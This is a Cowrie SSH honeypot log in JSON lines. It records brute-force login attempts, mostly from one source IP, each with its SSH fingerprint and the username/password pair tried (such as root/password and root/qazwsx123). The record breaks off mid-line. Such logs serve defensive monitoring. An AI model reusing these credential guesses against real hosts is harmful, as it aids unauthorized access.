{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46200,"dst_ip":"10.17.0.5","dst_port":22,"session":"57135c7af0d7","protocol":"ssh","message":"New connection: 45.156.87.253:46200 (10.17.0.5:22) [session: 57135c7af0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:28.959173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:28.962168Z","src_ip":"45.156.87.253","session":"57135c7af0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:29.043585Z","src_ip":"45.156.87.253","session":"57135c7af0d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:29.288077Z","src_ip":"45.156.87.253","session":"57135c7af0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:30.372264Z","src_ip":"45.156.87.253","session":"57135c7af0d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e77463af4d","protocol":"ssh","message":"New connection: 45.156.87.253:32864 (10.17.0.5:22) [session: 36e77463af4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:32.388045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:32.391711Z","src_ip":"45.156.87.253","session":"36e77463af4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:32.472217Z","src_ip":"45.156.87.253","session":"36e77463af4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:32.716887Z","src_ip":"45.156.87.253","session":"36e77463af4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:33.804409Z","src_ip":"45.156.87.253","session":"36e77463af4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32880,"dst_ip":"10.17.0.5","dst_port":22,"session":"24132780d8fe","protocol":"ssh","message":"New connection: 45.156.87.253:32880 (10.17.0.5:22) [session: 24132780d8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:35.725177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:35.728249Z","src_ip":"45.156.87.253","session":"24132780d8fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:35.808860Z","src_ip":"45.156.87.253","session":"24132780d8fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:36.052520Z","src_ip":"45.156.87.253","session":"24132780d8fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:37.136192Z","src_ip":"45.156.87.253","session":"24132780d8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32882,"dst_ip":"10.17.0.5","dst_port":22,"session":"d24b9defbced","protocol":"ssh","message":"New connection: 45.156.87.253:32882 (10.17.0.5:22) [session: d24b9defbced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:39.119640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:39.123528Z","src_ip":"45.156.87.253","session":"d24b9defbced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:39.207051Z","src_ip":"45.156.87.253","session":"d24b9defbced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:39.450819Z","src_ip":"45.156.87.253","session":"d24b9defbced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:40.534055Z","src_ip":"45.156.87.253","session":"d24b9defbced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":32838,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00da9864633","protocol":"ssh","message":"New connection: 77.237.244.154:32838 (159.203.135.109:22) [session: f00da9864633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.296204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.300426Z","src_ip":"77.237.244.154","session":"f00da9864633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.392447Z","src_ip":"77.237.244.154","session":"f00da9864633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46294,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d0215eb0b6","protocol":"ssh","message":"New connection: 45.156.87.253:46294 (10.17.0.5:22) [session: d7d0215eb0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.555119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.558337Z","src_ip":"45.156.87.253","session":"d7d0215eb0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.640411Z","src_ip":"45.156.87.253","session":"d7d0215eb0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zksync","password":"zksync789","message":"login attempt [zksync/zksync789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.669813Z","src_ip":"77.237.244.154","session":"f00da9864633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:42.889719Z","src_ip":"45.156.87.253","session":"d7d0215eb0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:43.762993Z","src_ip":"77.237.244.154","session":"f00da9864633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:43.973817Z","src_ip":"45.156.87.253","session":"d7d0215eb0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46322,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af55cc0ad39","protocol":"ssh","message":"New connection: 45.156.87.253:46322 (10.17.0.5:22) [session: 2af55cc0ad39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:45.903578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:45.908699Z","src_ip":"45.156.87.253","session":"2af55cc0ad39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:45.990585Z","src_ip":"45.156.87.253","session":"2af55cc0ad39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:46.238018Z","src_ip":"45.156.87.253","session":"2af55cc0ad39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:47.322402Z","src_ip":"45.156.87.253","session":"2af55cc0ad39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52826,"dst_ip":"10.17.0.5","dst_port":22,"session":"44653200a9c0","protocol":"ssh","message":"New connection: 45.156.87.253:52826 (10.17.0.5:22) [session: 44653200a9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:49.151717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:49.158647Z","src_ip":"45.156.87.253","session":"44653200a9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:49.239606Z","src_ip":"45.156.87.253","session":"44653200a9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:49.484086Z","src_ip":"45.156.87.253","session":"44653200a9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:50.566461Z","src_ip":"45.156.87.253","session":"44653200a9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52834,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab913a08b9b","protocol":"ssh","message":"New connection: 45.156.87.253:52834 (10.17.0.5:22) [session: 4ab913a08b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:52.608698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:52.611913Z","src_ip":"45.156.87.253","session":"4ab913a08b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-ce